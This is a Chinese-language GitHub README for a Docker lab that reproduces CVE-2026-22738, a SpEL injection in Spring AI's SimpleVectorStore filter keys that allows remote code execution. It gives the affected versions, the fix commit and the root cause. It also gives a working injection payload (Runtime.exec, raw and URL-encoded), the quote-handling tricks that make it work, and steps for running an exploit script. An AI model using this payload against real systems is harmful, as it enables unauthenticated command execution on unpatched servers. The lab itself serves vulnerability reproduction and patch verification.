rockmelodies/CVE-2026-22738

GitHub: rockmelodies/CVE-2026-22738

演示 SimpleVectorStore 过滤键未转义导致的 SpEL 注入漏洞,可实现远程代码执行。

Stars: 2 | Forks: 1

# CVE-2026-22738 复现环境 ![img.png](https://raw.githubusercontent.com/rockmelodies/CVE-2026-22738/main/img.png) ## 漏洞描述 CVE-2026-22738 是 Spring AI SimpleVectorStore 中的 SpEL (Spring Expression Language) 注入漏洞,可导致未经身份验证的远程代码执行 (RCE)。 ### 受影响版本 | Artifact | 受影响版本 | 修复版本 | |----------|-----------|---------| | org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 | | org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 | **注意**: 本项目使用 `spring-ai-core:1.0.0` 正式版本进行漏洞复现。 **修复提交**: ba9220b22383e430d5f801ce8e4fa01cf9e75f29 ### 漏洞原理 `SimpleVectorStore.similaritySearch()` 方法将用户提供的过滤器键名原封不动地传递给 SpEL 模板,并由 `StandardEvaluationContext` 进行评估。由于 `StandardEvaluationContext` 暴露了完整的 JVM 反射 API,攻击者可以注入: T(java.lang.Runtime).getRuntime().exec(...) 将过滤键添加到实现未经身份验证的操作系统命令执行中。 ### 漏洞复现 使用如下payload,注意需要进行一次url编码 "'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['" %22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22 将payload传递给filterKey参数,成功弹出计算器 ![img_1.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/cd/cd4f93a29ccad3388a75782e380bb3a7b2a8ab4cbaad49b2181ed64cece2c9fc.png) ### 绕过详情 简单的注入方法无法直接生效——必须克服解析器的两个怪癖: 1. **单引号剥离** — 以单引号开头的密钥 `'` 被视为带引号的字符串;外部引号将被剥离,从而破坏有效载荷。 2. **双引号包装器** — 将有效负载包装在双引号中 `"..."` 会导致解析器剥离外部双引号,从而将内部 SpEL 表达式保留为传递给解析器的键值 `#metadata['']`。 3. **空元数据键** — `#metadata['']` 在注入表达式的两侧使用(而不是未定义的变量)可以避免 unknown variable SpEL 错误,同时仍然触发 `exec()`。 计算得到的表达式形式如下: #metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c',''}) + #metadata[''] == 'x' ### 成功指标 HTTP 响应正文将包含 `EL1030E` SpEL 运行时错误: operator ADD not supported between null and java.lang.ProcessImpl 此错误在 `exec()` 返回后引发,确认操作系统级命令执行完毕,无需带外回调。 ## 环境搭建 ### 前提条件 - Docker 和 Docker Compose - Python 3 + requests 库 (`pip install requests`) ### 构建并运行漏洞环境 # 构建并启动容器 docker compose up -d --build # 查看日志 docker compose logs -f ### 运行漏洞利用脚本 # 安装依赖 pip install requests # 运行漏洞利用(等待应用启动) python3 exploit.py --wait # 或指定目标 python3 exploit.py --target http://localhost:8082 --wait ### 参数说明 | 标志 | 默认值 | 描述 | |------|--------|------| | `--target` | `http://localhost:8082` | 易受攻击应用程序的基本 URL | | `--wait` | 关闭 | 轮询直到目标准备就绪(在 `docker compose up` 之后有用) | **注意**: Docker Desktop (macOS/Windows) 使用 `host.docker.internal` 用于回调,`127.0.0.1` 有效负载。 ## 利用步骤 该概念验证流程包含五个连续步骤: 1. **基线检查** — 确认端点可达并返回种子数据 2. **盲式 SpEL 探针** — 通过读取 `T(java.lang.System)` 确认 `java.version` 注射点 3. **RCE**: `touch /tmp/pwned_cve_2026_22738` 在容器内部 4. **RCE**: 写入 `id` // `uname` 输出 `hostname` 到 `/tmp/rce_proof.txt` 5. **验证**: 通过 `docker exec` 打印校样文件内容进行验证 ## 项目结构 ├── Dockerfile # Docker 构建文件 ├── docker-compose.yml # Docker Compose 配置 ├── pom.xml # Maven 项目配置 ├── settings.xml # Maven 设置(包含 Spring 仓库) ├── exploit.py # 漏洞利用脚本 └── src/main/java/com/example/spelrce/ ├── SpelRceLabApplication.java # Spring Boot 主类 ├── VulnController.java # 漏洞控制器 ├── VectorStoreConfig.java # VectorStore 配置 └── DummyEmbeddingModel.java # 模拟 Embedding 模型 ## 本地测试(不使用 Docker) # 编译项目 mvn clean package -DskipTests # 运行应用 java -jar target/spel-rce-lab-1.0.0.jar # 在另一个终端运行漏洞利用 python3 exploit.py --target http://localhost:8082 ## 参考资料 - [CVE-2026-22738](https://nvd.nist.gov/vuln/detail/CVE-2026-22738) - [Spring AI 修复提交](https://github.com/spring-projects/spring-ai/commit/ba9220b22383e430d5f801ce8e4fa01cf9e75f29) - [原 PoC 项目](https://github.com/n0n4m3x41/CVE-2026-22738-POC)
标签:Go语言工具, RCE, SpEL注入, Spring AI, 漏洞利用, 漏洞复现环境